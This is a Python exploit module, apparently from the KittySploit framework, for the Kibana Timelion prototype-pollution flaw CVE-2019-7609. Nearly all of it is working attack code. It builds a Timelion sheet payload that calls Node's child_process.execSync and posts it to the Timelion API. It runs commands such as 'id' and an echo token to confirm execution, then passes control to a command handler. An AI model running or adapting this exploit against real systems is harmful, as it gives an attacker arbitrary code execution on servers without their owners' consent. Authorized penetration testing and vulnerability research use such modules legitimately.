Kibana Timelion RCE (CVE-2019-7609)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kibana Timelion prototype pollution RCE (CVE-2019-7609)."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Kibana Timelion RCE (CVE-2019-7609)',
        'description': (
            'Exploits CVE-2019-7609 in Kibana <5.6.15 / <6.6.1: Timelion sheet prototype '
            'pollution yields Node.js child_process execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-7609'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-7609',
            'https://github.com/mpgn/CVE-2019-7609',
        ],
        'tags': ['kibana', 'elastic', 'timelion', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_7609_detect'],
            },
        },
    }

    timelion_path = OptString('/api/timelion/run', 'Timelion API path', required=False, advanced=True)

    def _sheet(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        return (
            '.es(*).props(label.__proto__.env.AAAA=global.process.mainModule'
            f".require('child_process').execSync('{safe}').toString()).props('AAAA')"
        )

    def execute(self, cmd: str) -> str:
        path = str(self.timelion_path or '/api/timelion/run').strip()
        payload = {
            'sheet': [self._sheet(cmd)],
            'time': {
                'from': 'now-1m',
                'to': 'now',
                'mode': 'quick',
                'interval': 'auto',
                'timezone': 'UTC',
            },
        }
        r = self.http_request(
            method='POST',
            path=path,
            data=json.dumps(payload),
            headers={'Content-Type': 'application/json; charset=utf-8'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-7609 Timelion RCE confirmed', 'confidence': 'high'}
        r = self.http_request(
            method='POST',
            path=str(self.timelion_path or '/api/timelion/run'),
            data='{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"UTC"}}',
            headers={'Content-Type': 'application/json; charset=utf-8'},
            allow_redirects=False,
        )
        if r and r.status_code == 200 and 'seriesList' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'Timelion API exposed', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Timelion RCE not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()